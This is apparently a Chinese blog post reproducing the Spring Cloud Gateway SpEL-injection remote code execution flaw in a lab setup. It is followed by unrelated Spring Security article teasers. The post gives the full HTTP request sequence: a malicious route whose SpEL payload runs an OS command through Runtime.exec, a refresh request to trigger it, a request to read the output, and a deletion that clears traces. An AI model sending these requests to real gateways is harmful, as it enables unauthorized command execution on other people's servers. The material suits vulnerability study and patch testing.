spring_cloud_RCE

简介: spring_cloud_RCE

简介

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

环境

640.png

image-20220304104422547

640.png

image-20220304104654131

漏洞

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
  "id": "lemonlove7",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

640.png

image-20220303193629575

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/lemonlove7 HTTP/1.1
Host: 192.168.80.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

使用python脚本进行检测

640.png

脚本及环境搭建

https://t.zsxq.com/e6ujeae

相关文章
|
安全 前端开发 Java
Spring Security系列教程25--解决Spring Security环境中的跨域问题
前言 上一章节中,一一哥 给各位讲解了同源策略和跨域问题,以及跨域问题的解决方案,在本篇文章中,我会带大家进行代码实现,看看在Spring Security环境中如何解决跨域问题。 一. 启用Spring Security 的CORS支持 1. 创建web接口 我先在SpringBoot环境中,创建一个端口号为8080的web项目,注意这个web项目没有引入Spring Security的依赖包。然后在其中创建一个IndexController,定义两个测试接口以便被ajax进行跨域访问。 @RestController public class IndexController {
1071 1
|
XML 安全 Java
Spring Boot 中的 Spring Security 是什么,如何使用
Spring Boot 中的 Spring Security 是什么,如何使用
|
存储 安全 Java
Spring Cloud 最新版发布,Spring Security + OAuth2 终于安排上了!
Spring Cloud 最新版发布,Spring Security + OAuth2 终于安排上了!
660 0
Spring Cloud 最新版发布,Spring Security + OAuth2 终于安排上了!
|
监控 安全 Java
16 spring boot漏洞利用
Spring框架为开发Java应用程序提供了全面的基础架构支持。它包含一些很好的功能,如依赖注入和开箱即用的模块,如:Spring JDBC、Spring MVC、Spring Security.Spring AOP、Spring ORM、Spring Test,这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早期阶段,我们需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的JDBCTemplate,我们可以将操作简化为几行代码。|
16 spring boot漏洞利用
|
安全 前端开发 Java
Spring Security 介绍|学习笔记
快速学习 Spring Security 介绍
109 0
Spring Security 介绍|学习笔记
|
安全 前端开发 JavaScript
Spring Security系列教程24--Spring Security环境中存在的跨域问题
前言 在前后端不分离时,我们利用前面讲过的Spring Security的各种知识点,就可以实现对项目的权限管控。但是在前后端分离时,尤其是在引入了Spring Security后的前后端分离时,我们从前端发来的请求,就会存在一些问题。这些问题就是跨域而导致的问题! 对于前后端分离时,跨域而产生的安全问题,我们该怎么解决呢?接下来请跟着 一一哥 来学习如何解决吧! 在解决跨域问题之前,我们先来了解一下何为跨域问题,怎么产生的跨域问题,怎么解决这个跨域问题。 一. 跨域问题的由来 1. 同源策略 跨域问题的产生,源自浏览器的一个同源策略。 1.1 同源策略的概念 同源策略是由 Netscap
303 0
|
安全 Java 数据安全/隐私保护
Spring-Security学习笔记
Spring-Security集成与使用
Spring-Security学习笔记
|
监控 Java Spring
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
Spring Cloud - Spring Boot Admin 客户端
|
Java Maven 微服务
推荐一套好用的 Spring Cloud 套件 Spring Cloud Tencent
Spring Cloud 是国内使用最多微服务框架之一,国内目前可选择的套件除了 SCA 之外就无其它了。现在终于有一套更好用的产品了,Spring Cloud Tencent ,强烈推荐。
451 0
|
安全 Java Apache
Spring Boot中使用Spring Security进行安全控制
Spring Boot中使用Spring Security进行安全控制
373 0